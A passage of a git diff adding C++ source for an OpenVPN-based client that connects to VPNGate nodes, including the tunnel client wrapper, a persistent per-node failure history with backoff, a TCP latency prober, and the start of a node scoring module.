TunnelClient::Impl::tun_builder_set_session_name(const std::string &name) { + std::lock_guard lk(mu_); + pending_.session_name = name; + return true; +} + +bool TunnelClient::Impl::tun_builder_add_proxy_bypass(const std::string &host) { + return true; // no system proxy to bypass +} + +bool TunnelClient::Impl::tun_builder_set_proxy_auto_config_url( + const std::string &url) { + // Returning false here would abort the connection over a setting we simply + // do not implement, so it is ignored -- but loudly, because a server pushing + // a PAC file is asking to see our plaintext HTTP. + LOG_WARN(kMod, "{}: ignoring pushed proxy auto-config URL {}", node_id_, url); + return true; +} + +bool TunnelClient::Impl::tun_builder_set_proxy_http(const std::string &host, + int port) { + LOG_WARN(kMod, "{}: ignoring pushed HTTP proxy {}:{}", node_id_, host, port); + return true; +} + +bool TunnelClient::Impl::tun_builder_set_proxy_https(const std::string &host, + int port) { + LOG_WARN(kMod, "{}: ignoring pushed HTTPS proxy {}:{}", node_id_, host, port); + return true; +} + +bool TunnelClient::Impl::tun_builder_add_wins_server( + const std::string &address) { + return true; // Windows name resolution; nothing here consumes it +} + +int TunnelClient::Impl::tun_builder_establish() { + if (++establish_count_ > 1) { + // The core only re-establishes when the pushed tunnel configuration has + // changed -- a different address, prefix or MTU. Every lwIP PCB behind + // this pipe is bound to the old address, so there is nothing to salvage + // even if we handed over a fresh socketpair: the netstack would have to be + // rebuilt anyway. Failing here turns that into an ordinary node failure + // that the egress layer already knows how to handle (make-before-break to + // a freshly built tunnel), instead of a half-migrated stack. + LOG_WARN(kMod, + "{}: openvpn3 asked for a second tun descriptor (pushed config " + "changed); ending the session so the egress layer rebuilds it", + node_id_); + return -1; + } + + const int fd = pipe_->release_peer_fd(); + if (fd < 0) { + LOG_ERROR(kMod, "{}: packet pipe has no descriptor to hand over", node_id_); + return -1; + } + LOG_DEBUG(kMod, "{}: handed tun fd {} to openvpn3", node_id_, fd); + return fd; +} + +void TunnelClient::Impl::tun_builder_establish_lite() { + LOG_INFO(kMod, "{}: reconnected with the tun kept in place", node_id_); +} + +void TunnelClient::Impl::tun_builder_teardown(bool disconnect) { + LOG_DEBUG(kMod, "{}: tun teardown (disconnect={})", node_id_, disconnect); +} + +void TunnelClient::Impl::event(const openvpn::ClientAPI::Event &ev) { + if (ev.error) + LOG_WARN(kCoreMod, "{}: {}{}{}{}", node_id_, ev.fatal ? "fatal " : "", + ev.name, ev.info.empty() ? "" : ": ", ev.info); + else + LOG_DEBUG(kCoreMod, "{}: {}{}{}", node_id_, ev.name, + ev.info.empty() ? "" : " ", ev.info); + + if (ev.name == "CONNECTED") { + const auto ci = connection_info(); + { + std::lock_guard lk(mu_); + if (pending_.server_ip.empty()) pending_.server_ip = ci.serverIp; + if (pending_.session_name.empty()) pending_.session_name = ci.tunName; + } + ever_up_.store(true, std::memory_order_relaxed); + emit(TunnelState::Up, "", true); + return; + } + + if (ev.name == "RECONNECTING") { + reconnects()->inc(); + emit(TunnelState::Reconnecting, ev.info, false); + return; + } + + if (ev.fatal) { + emit(TunnelState::Down, + ev.info.empty() ? ev.name : ev.name + ": " + ev.info, false); + } + // DISCONNECTED is not special-cased: connect() is about to return and run() + // posts the terminal state with the full status attached. +} + +void TunnelClient::Impl::acc_event( + const openvpn::ClientAPI::AppCustomControlMessageEvent &ev) { + LOG_DEBUG(kCoreMod, "{}: app control message on {} ({} bytes)", node_id_, + ev.protocol, ev.payload.size()); +} + +void TunnelClient::Impl::log(const openvpn::ClientAPI::LogInfo &li) { + std::string_view s(li.text); + while (!s.empty() && (s.back() == '\n' || s.back() == '\r')) + s.remove_suffix(1); + if (!s.empty()) LOG_DEBUG(kCoreMod, "{}", s); +} + +void TunnelClient::Impl::external_pki_cert_request( + openvpn::ClientAPI::ExternalPKICertRequest &req) { + req.error = true; + req.errorText = "external PKI is not supported: profiles must carry an " + "inline /"; +} + +void TunnelClient::Impl::external_pki_sign_request( + openvpn::ClientAPI::ExternalPKISignRequest &req) { + req.error = true; + req.errorText = "external PKI is not supported"; +} + +bool TunnelClient::supported() { return true; } + +bool TunnelClient::launch(std::string *err) { + openvpn::ClientAPI::Config cc; + cc.content = profile_; + cc.guiVersion = "openvpngate 0.1.0"; + + // Fail the whole attempt rather than retrying forever: with a list of + // ninety-odd nodes, moving on beats waiting. + cc.connTimeout = cfg_.connect_timeout_s; + + // Keeps the tun fd -- and so the netstack and every session behind it -- + // alive across ping-restart reconnects inside one session. + cc.tunPersist = true; + + cc.googleDnsFallback = true; + cc.autologinSessions = true; + cc.retryOnAuthFailed = false; + cc.dco = false; // kernel data-channel offload needs root and a module + cc.allowLocalLanAccess = true; + cc.synchronousDnsLookup = false; + cc.clockTickMS = 0; + cc.info = true; + cc.echo = false; + cc.sslDebugLevel = 0; + + // "asym" means the server may compress what it sends us but we never + // compress what we send. Compressing attacker-influenced plaintext next to + // secrets is what made VORACLE work; this keeps the interop win without it. + cc.compressionMode = cfg_.compression ? "asym" : "no"; + + // VPNGate is a wall of AES-128-CBC + SHA1 with occasional 1024-bit RSA. The + // modern defaults reject all of it, so without these the node list is + // effectively empty. See docs/FEASIBILITY.md 2.4: the tunnel is treated as + // an untrusted transport regardless of cipher, because the operator on the + // far end is an anonymous volunteer who can see the plaintext either way. + cc.enableNonPreferredDCAlgorithms = true; + cc.enableLegacyAlgorithms = cfg_.allow_legacy_algorithms; + if (cfg_.allow_legacy_algorithms) { + cc.tlsCertProfileOverride = "legacy"; + cc.tlsVersionMinOverride = "tls_1_0"; + } + + impl_ = std::make_unique(weak_from_this(), &pipe_, cfg_, node_id_); + + std::weak_ptr weak = weak_from_this(); + Impl *impl = impl_.get(); + try { + worker_ = std::thread([weak, impl, cc = std::move(cc)]() mutable { + impl->run(std::move(cc)); + // Last thing the thread does: tell the owner it is safe to join. + if (auto self = weak.lock()) self->post_worker_finished(); + }); + } catch (const std::system_error &e) { + impl_.reset(); + if (err) *err = std::string("cannot start openvpn worker thread: ") + e.what(); + return false; + } + return true; +} + +#else // !OVG_WITH_TUNNEL + +// Placeholder so the class layout, the link graph and every caller stay +// identical between the two builds. Only start() behaves differently. +class TunnelClient::Impl { + public: + void request_stop() {} + TunnelCounters counters() const { return {}; } + bool ever_up() const { return false; } +}; + +bool TunnelClient::supported() { return false; } + +bool TunnelClient::launch(std::string *err) { + if (err) + *err = "this build has no openvpn3 linked in (-DOVG_WITH_TUNNEL=OFF); " + "only egress_mode=direct works"; + return false; +} + +#endif // OVG_WITH_TUNNEL + +// --------------------------------------------------------------------------- +// TunnelClient: the io_context-facing half, identical in both builds. +// --------------------------------------------------------------------------- + +std::shared_ptr TunnelClient::create(asio::io_context &io, + OvpnConfig cfg) { + return std::shared_ptr(new TunnelClient(io, std::move(cfg))); +} + +TunnelClient::TunnelClient(asio::io_context &io, OvpnConfig cfg) + : io_(io), cfg_(std::move(cfg)), pipe_(io), up_timer_(io) {} + +TunnelClient::~TunnelClient() { + if (impl_) impl_->request_stop(); + if (worker_.joinable()) { + if (worker_.get_id() == std::this_thread::get_id()) { + // Only reachable if someone let the last reference die inside an + // openvpn3 callback. Joining would deadlock, so leak deliberately and + // say so: a leaked thread is recoverable, a self-join is not. + LOG_ERROR(kMod, "{}: destroyed from its own worker thread; leaking it", + node_id_); + worker_.detach(); + (void)impl_.release(); + return; + } + worker_.join(); + } +} + +bool TunnelClient::start(const vpngate::Node &node, + const vpngate::Remote &remote, StateHandler on_state, + std::string *err) { + { + std::lock_guard lk(mu_); + if (state_ != TunnelState::Idle) { + if (err) *err = "tunnel client already started"; + return false; + } + } + + node_id_ = node.id(); + remote_ = remote; + + SanitizeOptions so; + so.pin_remote = &remote; + so.allow_compression = cfg_.compression; + SanitizedProfile sp; + if (!sanitize_profile(node.profile, so, &sp, err)) { + if (err) *err = node_id_ + ": " + *err; + return false; + } + profile_ = std::move(sp.text); + if (!sp.dropped.empty()) { + LOG_DEBUG(kMod, "{}: dropped {} directive(s) from the profile: {}", + node_id_, sp.dropped.size(), fmt::join(sp.dropped, ", ")); + } + if (!sp.has_client_cert) { + LOG_DEBUG(kMod, "{}: profile has no client certificate; expecting " + "username/password auth", node_id_); + } + + if (!pipe_.open(cfg_.packet_socket_buffer, err)) { + if (err) *err = node_id_ + ": " + *err; + return false; + } + + { + std::lock_guard lk(mu_); + on_state_ = std::move(on_state); + state_ = TunnelState::Connecting; + } + + if (!launch(err)) { + pipe_.close(); + std::lock_guard lk(mu_); + state_ = TunnelState::Idle; + on_state_ = nullptr; + return false; + } + + starts()->inc(); + LOG_INFO(kMod, "{}: connecting to {}:{}/{}", node_id_, remote.host, + remote.port, vpngate::proto_name(remote.proto)); + arm_up_timer(); + return true; +} + +void TunnelClient::stop(std::function on_stopped) { + bool already_done = false; + { + std::lock_guard lk(mu_); + already_done = worker_finished_; + if (!already_done && on_stopped) on_stopped_ = std::move(on_stopped); + } + cancel_up_timer(); + + if (already_done) { + if (on_stopped) asio::post(io_, std::move(on_stopped)); + return; + } + if (impl_) impl_->request_stop(); +} + +TunnelState TunnelClient::state() const { + std::lock_guard lk(mu_); + return state_; +} + +TunnelInfo TunnelClient::info() const { + std::lock_guard lk(mu_); + return info_; +} + +TunnelCounters TunnelClient::counters() const { + if (!impl_) return {}; + return impl_->counters(); +} + +void TunnelClient::post_state(TunnelState s, TunnelInfo info, + std::string detail) { + { + std::lock_guard lk(mu_); + if (terminal_seen_) return; // Down is final; later noise is dropped + if (s == TunnelState::Down) terminal_seen_ = true; + if (state_ == TunnelState::Up && s != TunnelState::Up) active()->sub(1); + if (state_ != TunnelState::Up && s == TunnelState::Up) active()->add(1); + state_ = s; + if (s == TunnelState::Up) info_ = info; + } + + auto self = shared_from_this(); + asio::post(io_, [self, s, info = std::move(info), + detail = std::move(detail)]() mutable { + if (s == TunnelState::Up || s == TunnelState::Down) self->cancel_up_timer(); + + switch (s) { + case TunnelState::Up: + ups()->inc(); + LOG_INFO(kMod, "{}: up -- {}/{} via {}, mtu {}, dns [{}]", + self->node_id_, info.ipv4, info.prefix4, info.server_ip, + info.mtu, fmt::join(info.dns, ", ")); + break; + case TunnelState::Reconnecting: + LOG_WARN(kMod, "{}: reconnecting{}{}", self->node_id_, + detail.empty() ? "" : " -- ", detail); + break; + case TunnelState::Down: { + const bool never_up = !(self->impl_ && self->impl_->ever_up()); + if (never_up) failures()->inc(); + LOG_INFO(kMod, "{}: down -- {}", self->node_id_, detail); + break; + } + default: + break; + } + + StateHandler h; + { + std::lock_guard lk(self->mu_); + h = self->on_state_; + } + if (h) h(s, info, detail); + }); +} + +void TunnelClient::post_worker_finished() { + std::function cb; + { + std::lock_guard lk(mu_); + worker_finished_ = true; + cb.swap(on_stopped_); + } + auto self = shared_from_this(); + asio::post(io_, [self, cb = std::move(cb)] { + if (cb) cb(); + }); +} + +void TunnelClient::arm_up_timer() { + if (cfg_.tunnel_up_timeout_s <= 0) return; + up_timer_.expires_after(std::chrono::seconds(cfg_.tunnel_up_timeout_s)); + auto self = shared_from_this(); + up_timer_.async_wait([self](const std::error_code &ec) { + if (ec) return; // cancelled: we came up, or we are already down + // openvpn3's own connTimeout covers the transport handshake, but a server + // can complete that and then never push a tunnel config. This is the + // backstop for that case. + self->post_state( + TunnelState::Down, TunnelInfo{}, + fmt::format("no tunnel after {}s", self->cfg_.tunnel_up_timeout_s)); + self->stop(); + }); +} + +void TunnelClient::cancel_up_timer() { up_timer_.cancel(); } + +} // namespace ovg::ovpn diff --git a/src/ovpn/tunnel_client.h b/src/ovpn/tunnel_client.h new file mode 100644 index 0000000..f6d7ef8 --- /dev/null +++ b/src/ovpn/tunnel_client.h @@ -0,0 +1,159 @@ +// One OpenVPN session, wrapped so the rest of the program never sees openvpn3. +// +// Threading. ClientAPI::OpenVPNClient::connect() blocks until the session ends +// and makes all of its callbacks -- events, logs, every tun_builder_* call -- +// from the thread that called it. So each TunnelClient owns exactly one worker +// thread, and every observable effect is marshalled back onto the io_context +// the object was constructed with. Callers only ever see io_context threads. +// +// Lifetime. Always hold a TunnelClient through the shared_ptr that create() +// returns, and prefer stop(on_stopped) to simply dropping the last reference: +// the destructor has to join the worker, and joining from inside an io_context +// handler stalls that thread for as long as openvpn3 takes to unwind. +// +// The tun. The session's tun descriptor is one end of a socketpair (see +// packet_pipe.h). It is created before the worker starts, so pipe() is valid +// from the moment start() returns true -- the netstack can attach its read +// loop immediately and does not have to race the CONNECTED event. +#pragma once + +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "ovpn/packet_pipe.h" +#include "vpngate/node.h" + +namespace ovg::ovpn { + +enum class TunnelState { + Idle, // constructed, start() not called (or it failed) + Connecting, // worker running, no tunnel yet + Up, // server pushed a config; packets can flow + Reconnecting, // transient loss; the tun fd survives (tunPersist) + Down, // finished for good -- `detail` says why +}; +const char *tunnel_state_name(TunnelState s); + +// What the server pushed. Everything the netstack needs to bring up a netif, +// and nothing it does not. +struct TunnelInfo { + std::string ipv4; + int prefix4 = 0; + std::string gateway4; + std::string ipv6; + int prefix6 = 0; + int mtu = 1500; + std::vector dns; // in server priority order + std::vector routes; // "10.0.0.0/8", capped; diagnostics only + std::string server_ip; // the VPN server we are talking to + std::string session_name; + bool redirect_gateway = false; + + bool usable() const { return !ipv4.empty() && prefix4 > 0; } +}; + +struct TunnelCounters { + int64_t transport_bytes_in = 0; + int64_t transport_bytes_out = 0; + int64_t tun_bytes_in = 0; + int64_t tun_bytes_out = 0; + // Milliseconds since the last packet arrived from the server, or -1 if none + // ever has. This is the single most useful liveness signal we get from the + // core, and the health monitor's stall detector is built on it. + int last_packet_received_ms = -1; + bool valid = false; +}; + +class TunnelClient : public std::enable_shared_from_this { + public: + // Runs on `io`. For Up, `info` is populated; otherwise it is empty and + // `detail` carries the reason. + using StateHandler = std::function; + + static std::shared_ptr create(asio::io_context &io, + OvpnConfig cfg); + ~TunnelClient(); + + TunnelClient(const TunnelClient &) = delete; + TunnelClient &operator=(const TunnelClient &) = delete; + + // Sanitizes the node's profile, opens the packet pipe, starts the worker. + // Returns false without starting anything if the profile is unusable, which + // is a node-level failure the selector should record, not a fatal error. + bool start(const vpngate::Node &node, const vpngate::Remote &remote, + StateHandler on_state, std::string *err); + + // Idempotent and asynchronous. `on_stopped` runs on the io_context once the + // worker has exited and the object is safe to destroy. + void stop(std::function on_stopped = {}); + + TunnelState state() const; + TunnelInfo info() const; + TunnelCounters counters() const; + + const std::string &node_id() const { return node_id_; } + const vpngate::Remote &remote() const { return remote_; } + + // The netstack's end of the tun. Valid from a successful start() until the + // object is destroyed. + PacketPipe &pipe() { return pipe_; } + + // The profile actually handed to openvpn3, after sanitizing. Kept for the + // admin endpoint: when a node fails to connect, this is the first thing + // anyone will want to look at. + const std::string &sanitized_profile() const { return profile_; } + + // True when the build has openvpn3 linked in. When false, start() always + // fails and the only usable egress is "direct". + static bool supported(); + + private: + class Impl; + friend class Impl; + + TunnelClient(asio::io_context &io, OvpnConfig cfg); + + // Builds the openvpn3 client and starts the worker. Split out from start() + // so the profile handling above it is shared with builds that have no + // openvpn3 linked in. + bool launch(std::string *err); + + // Called from the worker thread. + void post_state(TunnelState s, TunnelInfo info, std::string detail); + void post_worker_finished(); + + void arm_up_timer(); + void cancel_up_timer(); + + asio::io_context &io_; + OvpnConfig cfg_; + PacketPipe pipe_; + asio::steady_timer up_timer_; + + std::string node_id_; + vpngate::Remote remote_; + std::string profile_; + + mutable std::mutex mu_; // guards state_, info_, on_state_, on_stopped_ + TunnelState state_ = TunnelState::Idle; + TunnelInfo info_; + StateHandler on_state_; + std::function on_stopped_; + bool terminal_seen_ = false; + bool worker_finished_ = false; + + std::unique_ptr impl_; + std::thread worker_; +}; + +} // namespace ovg::ovpn diff --git a/src/selector/history.cpp b/src/selector/history.cpp new file mode 100644 index 0000000..1e4d338 --- /dev/null +++ b/src/selector/history.cpp @@ -0,0 +1,170 @@ +#include "selector/history.h" + +#include +#include +#include +#include + +#include "common/logging.h" + +namespace ovg::selector { +namespace { + +constexpr const char *kMod = "selector"; +constexpr double kEwmaAlpha = 0.3; // favours recent measurements + +int64_t now_ms() { + return std::chrono::duration_cast( + std::chrono::system_clock::now().time_since_epoch()) + .count(); +} + +double ewma(double prev, double sample) { + if (prev <= 0.0) return sample; + return prev * (1.0 - kEwmaAlpha) + sample * kEwmaAlpha; +} + +} // namespace + +HistoryStore::HistoryStore(std::string path, SelectorConfig cfg) + : path_(std::move(path)), cfg_(std::move(cfg)) {} + +void HistoryStore::load() { + if (path_.empty()) return; + std::ifstream in(path_); + if (!in) { + LOG_DEBUG(kMod, "no history file at {} (first run?)", path_); + return; + } + + std::lock_guard lk(mu_); + stats_.clear(); + std::string line; + size_t lineno = 0, bad = 0; + while (std::getline(in, line)) { + ++lineno; + if (line.empty() || line[0] == '#') continue; + std::istringstream ls(line); + std::string id; + NodeStats s; + if (!(ls >> id >> s.successes >> s.failures >> s.consecutive_failures >> + s.last_failure_ms >> s.last_success_ms >> s.ewma_rtt_ms >> + s.ewma_throughput_bps)) { + ++bad; + continue; + } + stats_[id] = s; + } + if (bad) + LOG_WARN(kMod, "history {}: skipped {} malformed line(s)", path_, bad); + LOG_INFO(kMod, "loaded history for {} node(s)", stats_.size()); +} + +void HistoryStore::save() const { + if (path_.empty()) return; + + std::lock_guard lk(mu_); + if (!dirty_) return; + + std::error_code ec; + const auto path = std::filesystem::path(path_); + if (path.has_parent_path()) + std::filesystem::create_directories(path.parent_path(), ec); + + const std::string tmp = path_ + ".tmp"; + { + std::ofstream out(tmp, std::ios::trunc); + if (!out) { + LOG_WARN(kMod, "cannot write history {}", tmp); + return; + } + out << "# node_id successes failures consecutive_failures " + "last_failure_ms last_success_ms ewma_rtt_ms ewma_throughput_bps\n"; + for (const auto &[id, s] : stats_) { + out << id << ' ' << s.successes << ' ' << s.failures << ' ' + << s.consecutive_failures << ' ' << s.last_failure_ms << ' ' + << s.last_success_ms << ' ' << s.ewma_rtt_ms << ' ' + << s.ewma_throughput_bps << '\n'; + } + if (!out) { + LOG_WARN(kMod, "short write to history {}", tmp); + return; + } + } + std::filesystem::rename(tmp, path, ec); + if (ec) { + LOG_WARN(kMod, "cannot rename history into place: {}", ec.message()); + return; + } + dirty_ = false; +} + +NodeStats HistoryStore::get(const std::string &node_id) const { + std::lock_guard lk(mu_); + auto it = stats_.find(node_id); + return it == stats_.end() ? NodeStats{} : it->second; +} + +void HistoryStore::record_success(const std::string &node_id, double rtt_ms) { + std::lock_guard lk(mu_); + auto &s = stats_[node_id]; + s.successes++; + s.consecutive_failures = 0; + s.last_success_ms = now_ms(); + if (rtt_ms > 0) s.ewma_rtt_ms = ewma(s.ewma_rtt_ms, rtt_ms); + dirty_ = true; +} + +void HistoryStore::record_failure(const std::string &node_id) { + std::lock_guard lk(mu_); + auto &s = stats_[node_id]; + s.failures++; + s.consecutive_failures++; + s.last_failure_ms = now_ms(); + dirty_ = true; +} + +void HistoryStore::record_throughput(const std::string &node_id, double bps) { + if (bps <= 0) return; + std::lock_guard lk(mu_); + auto &s = stats_[node_id]; + s.ewma_throughput_bps = ewma(s.ewma_throughput_bps, bps); + dirty_ = true; +} + +std::chrono::milliseconds HistoryStore::backoff_for(uint32_t consecutive) const { + if (consecutive == 0) return std::chrono::milliseconds::zero(); + // Exponential, capped. Shift is bounded to avoid UB and absurd values. + const uint32_t shift = std::min(consecutive - 1, 16); + const int64_t base = cfg_.failure_backoff_initial.count(); + const int64_t want = base << shift; + return std::chrono::milliseconds( + std::min(want, cfg_.failure_backoff_max.count())); +} + +bool HistoryStore::is_backed_off(const std::string &node_id) const { + return backoff_remaining(node_id) > std::chrono::milliseconds::zero(); +} + +std::chrono::milliseconds HistoryStore::backoff_remaining( + const std::string &node_id) const { + std::lock_guard lk(mu_); + auto it = stats_.find(node_id); + if (it == stats_.end()) return std::chrono::milliseconds::zero(); + const auto &s = it->second; + if (s.consecutive_failures == 0 || s.last_failure_ms == 0) + return std::chrono::milliseconds::zero(); + + const auto window = backoff_for(s.consecutive_failures); + const int64_t elapsed = now_ms() - s.last_failure_ms; + if (elapsed < 0) return std::chrono::milliseconds::zero(); // clock moved back + const int64_t left = window.count() - elapsed; + return std::chrono::milliseconds(std::max(0, left)); +} + +size_t HistoryStore::size() const { + std::lock_guard lk(mu_); + return stats_.size(); +} + +} // namespace ovg::selector diff --git a/src/selector/history.h b/src/selector/history.h new file mode 100644 index 0000000..5718053 --- /dev/null +++ b/src/selector/history.h @@ -0,0 +1,70 @@ +// Per-node outcome history, persisted across restarts. +// +// This is what stops us from walking into the same broken node every time the +// API returns it with a flattering Score. A node that fails repeatedly gets +// exponentially backed off; a node that has served us well gets credit for it. +// +// Storage is a plain TSV file rather than JSON: the schema is fixed, the file +// is machine-written and machine-read, and a line-oriented format degrades +// gracefully (one corrupt line costs one node, not the whole file). +#pragma once + +#include +#include +#include +#include +#include + +#include "common/config.h" + +namespace ovg::selector { + +struct NodeStats { + uint32_t successes = 0; + uint32_t failures = 0; + uint32_t consecutive_failures = 0; + int64_t last_failure_ms = 0; // epoch millis, 0 = never + int64_t last_success_ms = 0; + double ewma_rtt_ms = 0.0; // measured by us, not by VPNGate + double ewma_throughput_bps = 0.0; + + double success_rate() const { + const uint32_t total = successes + failures; + // No history: assume neutral rather than perfect, so an unknown node does + // not outrank a proven one on this term alone. + if (total == 0) return 0.5; + return static_cast(successes) / static_cast(total); + } +}; + +class HistoryStore { + public: + explicit HistoryStore(std::string path, SelectorConfig cfg); + + void load(); + void save() const; + + NodeStats get(const std::string &node_id) const; + + void record_success(const std::string &node_id, double rtt_ms); + void record_failure(const std::string &node_id); + void record_throughput(const std::string &node_id, double bps); + + // True while the node is inside its exponential backoff window. + bool is_backed_off(const std::string &node_id) const; + // Remaining backoff, for logging. + std::chrono::milliseconds backoff_remaining(const std::string &node_id) const; + + size_t size() const; + + private: + std::chrono::milliseconds backoff_for(uint32_t consecutive) const; + + std::string path_; + SelectorConfig cfg_; + mutable std::mutex mu_; + std::unordered_map stats_; + mutable bool dirty_ = false; +}; + +} // namespace ovg::selector diff --git a/src/selector/prober.cpp b/src/selector/prober.cpp new file mode 100644 index 0000000..d0b3957 --- /dev/null +++ b/src/selector/prober.cpp @@ -0,0 +1,157 @@ +#include "selector/prober.h" + +#include +#include +#include + +#include "common/logging.h" + +namespace ovg::selector { +namespace { + +constexpr const char *kMod = "selector"; + +// Runs the whole probe batch. Owns itself until every target is done. +class ProbeRun : public std::enable_shared_from_this { + public: + ProbeRun(asio::io_context &io, SelectorConfig cfg, + std::vector targets, Prober::Handler handler) + : io_(io), + cfg_(std::move(cfg)), + targets_(std::move(targets)), + handler_(std::move(handler)) { + results_.resize(targets_.size()); + for (size_t i = 0; i < targets_.size(); ++i) + results_[i].node_id = targets_[i].node_id; + } + + void start() { + if (targets_.empty()) { + finish(); + return; + } + const size_t lanes = std::max( + 1, std::min(cfg_.probe_concurrency, targets_.size())); + outstanding_ = lanes; + for (size_t i = 0; i < lanes; ++i) take_next(); + } + + private: + // Pulls the next target index; returns false when the queue is drained. + void take_next() { + const size_t idx = next_.fetch_add(1); + if (idx >= targets_.size()) { + if (--outstanding_ == 0) finish(); + return; + } + sample(idx, 0, {}); + } + + // One TCP handshake, timed. `acc` collects the successful samples. + void sample(size_t idx, size_t sample_no, std::vector acc) { + if (sample_no >= cfg_.probe_samples) { + record(idx, std::move(acc)); + take_next(); + return; + } + + const auto &t = targets_[idx]; + auto sock = std::make_shared(io_); + auto timer = std::make_shared(io_); + auto started = std::chrono::steady_clock::now(); + auto done = std::make_shared(false); + + asio::ip::tcp::endpoint ep; + std::error_code pec; + const auto addr = asio::ip::make_address(t.host, pec); + if (pec) { + // Node hosts in the VPNGate feed are IP literals. A name here means the + // profile was unusual; skip rather than pulling in a resolver. + LOG_DEBUG(kMod, "probe {}: host '{}' is not an IP literal", t.node_id, + t.host); + record(idx, {}); + take_next(); + return; + } + ep = asio::ip::tcp::endpoint(addr, t.port); + + timer->expires_after(cfg_.probe_timeout); + timer->async_wait([sock, done](std::error_code ec) { + if (ec || *done) return; + std::error_code ignored; + sock->close(ignored); // forces the pending connect to fail + }); + + auto self = shared_from_this(); + sock->async_connect( + ep, [self, idx, sample_no, acc = std::move(acc), sock, timer, started, + done](std::error_code ec) mutable { + *done = true; + timer->cancel(); + std::error_code ignored; + sock->close(ignored); + + if (!ec) { + const auto elapsed = std::chrono::steady_clock::now() - started; + const double ms = + std::chrono::duration(elapsed).count(); + acc.push_back(ms); + self->sample(idx, sample_no + 1, std::move(acc)); + } else { + // A refused/unreachable node is not worth further samples. + self->record(idx, std::move(acc)); + self->take_next(); + } + }); + } + + void record(size_t idx, std::vector samples) { + auto &r = results_[idx]; + r.samples_ok = static_cast(samples.size()); + if (samples.empty()) { + r.reachable = false; + r.rtt_ms = -1.0; + LOG_DEBUG(kMod, "probe {} -> unreachable", r.node_id); + return; + } + // Median resists the one-off outlier that a mean would absorb. + std::sort(samples.begin(), samples.end()); + r.reachable = true; + r.rtt_ms = samples[samples.size() / 2]; + LOG_DEBUG(kMod, "probe {} -> {:.1f}ms ({} samples)", r.node_id, r.rtt_ms, + r.samples_ok); + } + + void finish() { + if (finished_.exchange(true)) return; + int reachable = 0; + for (const auto &r : results_) + if (r.reachable) ++reachable; + LOG_INFO(kMod, "probed {} candidate(s), {} reachable", results_.size(), + reachable); + auto h = std::move(handler_); + if (h) h(std::move(results_)); + } + + asio::io_context &io_; + SelectorConfig cfg_; + std::vector targets_; + std::vector results_; + Prober::Handler handler_; + + std::atomic next_{0}; + std::atomic outstanding_{0}; + std::atomic finished_{false}; +}; + +} // namespace + +Prober::Prober(asio::io_context &io, SelectorConfig cfg) + : io_(io), cfg_(std::move(cfg)) {} + +void Prober::probe(std::vector targets, Handler handler) { + std::make_shared(io_, cfg_, std::move(targets), std::move(handler)) + ->start(); +} + +} // namespace ovg::selector diff --git a/src/selector/prober.h b/src/selector/prober.h new file mode 100644 index 0000000..c12eaf9 --- /dev/null +++ b/src/selector/prober.h @@ -0,0 +1,56 @@ +// Measures round-trip latency to candidate nodes from *this* host. +// +// Why this exists: VPNGate's own Ping/Score columns are measured from VPNGate's +// infrastructure in Japan, not from us. Ranking on them is close to ranking at +// random once you are on another continent (docs/FEASIBILITY.md §3.3). +// +// Method: time a TCP handshake to the node's OpenVPN port, take the median of +// N samples, discard the node on any failure. +// +// Limitation, stated plainly: this only works for nodes that expose a TCP +// remote. For UDP-only nodes there is no handshake to time without speaking +// OpenVPN's control protocol, so they fall back to the API's ping value with a +// penalty applied by the scorer. In practice nearly every VPNGate node offers +// TCP/443, so this is rarely hit. +#pragma once + +#include + +#include +#include +#include +#include + +#include "common/config.h" + +namespace ovg::selector { + +struct ProbeTarget { + std::string node_id; + std::string host; + uint16_t port = 0; +}; + +struct ProbeResult { + std::string node_id; + bool reachable = false; + double rtt_ms = -1.0; // median of the successful samples + int samples_ok = 0; +}; + +class Prober { + public: + Prober(asio::io_context &io, SelectorConfig cfg); + + using Handler = std::function)>; + + // Probes all targets with bounded concurrency and invokes `handler` once, + // with one result per target, in the input order. + void probe(std::vector targets, Handler handler); + + private: + asio::io_context &io_; + SelectorConfig cfg_; +}; + +} // namespace ovg::selector diff --git a/src/selector/scorer.cpp b/src/selector/scorer.cpp new file mode 100644 index 0000000..be06eaa --- /dev/null +++ b/src/selector/scorer.cpp @@ -0,0 +1,128 @@ +#include "selector/scorer.h" + +#include +#include + +namespace ovg::selector { +namespace { + +double clamp01(double v) { return std::clamp(v, 0.0, 1.0); } + +} // namespace + +namespace terms { + +// VPNGate's Score spans roughly 0..10^7. Log-compress so the top few nodes do +// not swamp everything else. +double score_term(int64_t vpngate_score) { + if (vpngate_score <= 0) return 0.0; + return clamp01(std::log10(1.0 + static_cast(vpngate_score)) / 7.0); +} + +// Advertised line speed, log-compressed against 1 Gbps. This is the node's +// *link* speed shared across all its sessions, so it is a weak signal at best. +double speed_term(int64_t speed_bps) { + if (speed_bps <= 0) return 0.0; + return clamp01(std::log10(1.0 + static_cast(speed_bps)) / 9.0); +} + +// Load. 0 sessions = 1.0, 20 sessions = 0.5, 100 sessions = 0.17. +double sessions_term(int num_sessions) { + if (num_sessions < 0) num_sessions = 0; + return 1.0 / (1.0 + static_cast(num_sessions) / 20.0); +} + +// A week of uptime earns full marks; volunteers who restart hourly score low. +double uptime_term(int64_t uptime_ms) { + if (uptime_ms <= 0) return 0.0; + constexpr double kWeekMs = 7.0 * 86400.0 * 1000.0; + return clamp01(static_cast(uptime_ms) / kWeekMs); +} + +// 0ms = 1.0, 100ms = 0.5, 300ms = 0.25. Unmeasured RTT scores as mediocre +// rather than zero, so an unprobed node is not permanently excluded. +double rtt_term(double rtt_ms) { + if (rtt_ms < 0) return 0.35; + return 1.0 / (1.0 + rtt_ms / 100.0); +} + +} // namespace terms + +Scorer::Scorer(SelectorConfig cfg) : cfg_(std::move(cfg)) {} + +bool Scorer::passes_filter(const vpngate::Node &n) const { + if (n.remotes.empty()) return false; + + if (!cfg_.country_allow.empty()) { + const bool found = std::find(cfg_.country_allow.begin(), + cfg_.country_allow.end(), + n.country_short) != cfg_.country_allow.end(); + if (!found) return false; + } + if (std::find(cfg_.country_deny.begin(), cfg_.country_deny.end(), + n.country_short) != cfg_.country_deny.end()) + return false; + + return true; +} + +double Scorer::prior_score(const vpngate::Node &n) const { + const double total_w = + cfg_.w_score + cfg_.w_speed + cfg_.w_sessions + cfg_.w_uptime; + if (total_w <= 0) return 0.0; + + const double s = cfg_.w_score * terms::score_term(n.api.score) + + cfg_.w_speed * terms::speed_term(n.api.speed_bps) + + cfg_.w_sessions * terms::sessions_term(n.api.num_sessions) + + cfg_.w_uptime * terms::uptime_term(n.api.uptime_ms); + return clamp01(s / total_w); +} + +double 